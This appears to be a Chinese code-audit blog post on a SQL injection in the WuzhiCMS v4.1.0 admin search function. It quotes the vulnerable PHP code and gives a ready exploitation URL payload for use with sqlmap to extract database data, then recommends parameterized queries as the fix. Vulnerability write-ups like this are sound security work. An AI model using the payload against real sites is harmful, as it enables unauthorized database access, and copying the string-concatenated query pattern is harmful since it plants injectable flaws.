1. 程式人生 > >【程式碼審計】五指CMS_v4.1.0 後臺存在SQL注入漏洞分析

【程式碼審計】五指CMS_v4.1.0 後臺存在SQL注入漏洞分析

 

0x00 環境準備

五指CMS官網:https://www.wuzhicms.com/

網站原始碼版本:五指CMS v4.1.0 UTF-8 開源版

程式原始碼下載:https://www.wuzhicms.com/download/

測試網站首頁:

 

0x01 程式碼分析

1、漏洞檔案位置:/coreframe/app/promote/admin/index.php 第42-60行:

  1. public function search() {  
  2.     $siteid = get_cookie('siteid');  
  3.     $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;  
  4.     $page = max($page,1);  
  5.     $fieldtype = $GLOBALS['fieldtype'];  
  6.     $keywords = $GLOBALS['keywords'];  
  7.     if($fieldtype=='place') {  
  8.         $where = "`siteid`='$siteid' AND `name` LIKE '%$keywords%'";  
  9.         $result = $this
    ->db->get_list('promote_place', $where, '*', 0, 50,$page,'pid ASC');  
  10. 10.         $pages = $this->db->pages;  
  11. 11.         $total = $this->db->number;  
  12. 12.         include $this->template('listingplace');  
  13. 13.     } else {  
  14. 14.         $where = "`siteid`='$siteid' AND `$fieldtype` LIKE '%$keywords%'";  
  15. 15.         $result = $this->db->get_list('promote',$where, '*', 0, 20,$page,'id DESC');  
  16. 16.         $pages = $this->db->pages;  
  17. 17.         $total = $this->db->number;  
  18. 18.         include $this->template('listing');  
  19. 19.     }  

這段函式將獲取到的keywords引數拼接到SQL語句,然後帶入資料庫執行,導致程式在實現上存在SQL注入漏洞,攻擊者可利用該漏洞獲取資料庫敏感資訊。

0x02 漏洞利用

1、構造url連結,使用SQLMAP可獲取資料庫敏感資料。

Payload:

http://127.0.0.1/index.php?m=promote&f=index&v=search&_su=wuzhicms&fieldtype=place&keywords=1111%'*%23

 

0x03 修復建議

使用引數化查詢可有效避免SQL注入

最後

歡迎關注個人微信公眾號:Bypass--,每週原創一篇技術乾貨。